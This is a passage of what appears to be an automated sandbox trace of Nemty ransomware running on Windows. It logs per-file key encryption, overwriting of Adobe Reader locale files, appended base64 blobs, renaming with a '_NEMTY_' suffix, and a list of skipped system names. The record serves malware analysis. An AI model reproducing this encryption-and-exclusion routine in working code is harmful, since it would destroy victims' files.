lpUsedDefaultChar=0x0) returned 7 [0182.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.408] Sleep (dwMilliseconds=0x5) [0182.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205ef290, dwHighDateTime=0x1d561e8)) [0182.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x205ef290, dwHighDateTime=0x1d561e8)) [0182.409] GetLastError () returned 0x0 [0182.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.409] GetLastError () returned 0x0 [0182.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.409] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.409] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.409] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.410] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.410] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="B5ADdlIBq1aCyTi5y5xkkwJ/8U/8Htprja5grTWXI9VkUx/nVdEyXjg4h9mIUbEN\r\nEfLTAwm1s1x39k9XmnIbigW89T7K/7I+XUakOJc0fxGtEJWJWsx+NLybwzNs3VnY\r\n8u+18t1PfKl6+Z9mw7UAnW4mEpGfZSpdA1xU25hXFVsX1Ju0cbGqMB0urH1jAYj8\r\nrAqF8MhuLXUGRDgPYY+JeMuN9JqI95UT1plqLS/Ze9XDR78u88bD922hZKj/8prb\r\nHiRIMFrQYnom8/PRKUk1t7jc/V/FiPMDQyqZMnmqq89l9G8M/xcxWg74U8rOHqJd\r\nPDOVtDy3QsMgVjr55kiSUQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DVA.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\dva.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.410] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0182.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0182.410] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.410] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0182.413] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.413] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0182.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.413] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0182.413] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.413] CloseHandle (hObject=0x2e8) returned 1 [0182.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.414] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DVA.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\dva.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DVA.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\dva.rum._nemty_kgobjgd_")) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.414] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.RUM", cAlternateFileName="")) returned 1 [0182.414] lstrcmpiW (lpString1="eBook.RUM", lpString2=".") returned 1 [0182.414] lstrcmpiW (lpString1="eBook.RUM", lpString2="..") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="...") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="windows") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="rsa") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="NTDETECT.COM") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="ntldr") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="MSDOS.SYS") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="IO.SYS") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="boot.ini") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="boot.ini") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="ntuser.dat") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="desktop.ini") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="CONFIG.SYS") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="RECYCLER") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="bootmgr") returned 1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="programdata") returned -1 [0182.415] lstrcmpiW (lpString1="eBook.RUM", lpString2="appdata") returned 1 [0182.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0182.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.RUM", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.RUM", lpUsedDefaultChar=0x0) returned 9 [0182.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.416] Sleep (dwMilliseconds=0x5) [0182.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206153f0, dwHighDateTime=0x1d561e8)) [0182.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206153f0, dwHighDateTime=0x1d561e8)) [0182.424] GetLastError () returned 0x0 [0182.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.424] GetLastError () returned 0x0 [0182.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.424] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.425] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.425] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.425] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="UAFyVeNsj+SwLl0FME89/h/4brIC5CG2Kzb7kpIG2osIsYfVaB+B30OM4KCVNHmp\r\nNDDSPktLrWMNXtyvtN15kWj39eqeTsdJB3rNTYVFZA6af27lMVJ7JjDDUpY2Z8vN\r\nDx1M0COzExGTu2ZWJ1LqjY3vK1tPXYQIZvb0803pnLkVYW5zTAIVU7Ot7R49dfpR\r\nPJoZ8Z0YGespM3ccm+lTGQQfASWpnG2qzEy8wYL4wX8gFB2rMcYUk9cvpv/r1LBC\r\nPXRZNIIF1s+cN9WUt3FS7+e+hLXvSYxjm+TgVblTND66PBF4oi4jfUfnOq0bCII8\r\nkZ0EcyfzQgPXBnhkLTcGsA==\r\n", pcchString=0x653e5dc) returned 1 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.425] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\eBook.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ebook.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.425] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7168) returned 1 [0182.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0182.425] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.425] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1c00, lpOverlapped=0x0) returned 1 [0182.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1c00, lpOverlapped=0x0) returned 1 [0182.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0182.463] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.464] CloseHandle (hObject=0x2e8) returned 1 [0182.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0182.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0182.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0182.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.464] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\eBook.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ebook.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\eBook.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\ebook.rum._nemty_kgobjgd_")) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.465] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83197820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.RUM", cAlternateFileName="")) returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2=".") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="..") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="...") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="windows") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="rsa") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="NTDETECT.COM") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="ntldr") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="MSDOS.SYS") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="IO.SYS") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="boot.ini") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="boot.ini") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="ntuser.dat") returned -1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="desktop.ini") returned 1 [0182.465] lstrcmpiW (lpString1="EScript.RUM", lpString2="CONFIG.SYS") returned 1 [0182.466] lstrcmpiW (lpString1="EScript.RUM", lpString2="RECYCLER") returned -1 [0182.466] lstrcmpiW (lpString1="EScript.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.466] lstrcmpiW (lpString1="EScript.RUM", lpString2="bootmgr") returned 1 [0182.466] lstrcmpiW (lpString1="EScript.RUM", lpString2="programdata") returned -1 [0182.466] lstrcmpiW (lpString1="EScript.RUM", lpString2="appdata") returned 1 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0182.466] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.RUM", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.RUM", lpUsedDefaultChar=0x0) returned 11 [0182.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | 